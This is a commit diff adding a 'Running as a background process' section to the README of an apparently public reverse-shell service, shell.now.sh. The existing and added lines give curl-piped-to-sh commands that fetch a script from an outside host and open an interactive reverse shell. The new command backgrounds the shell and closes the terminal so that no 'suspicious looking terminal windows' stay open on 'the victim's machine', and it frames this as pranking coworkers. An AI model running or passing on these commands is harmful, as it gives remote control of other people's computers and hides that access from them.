Add background process tip (#20)

Author: lukechilds

README.md

@@ -67,6 +67,18 @@ while true; do curl https://shell.now.sh/yourip:1337 | sh; done
 
 Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
 
+### Running as a background process
+
+The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.
+
+The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.
+
+Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.
+
+```shell
+sh -c "curl https://shell.now.sh/localhost:1337 | sh -i &" && exit
+```
+
 ## License
 
 MIT © Luke Childs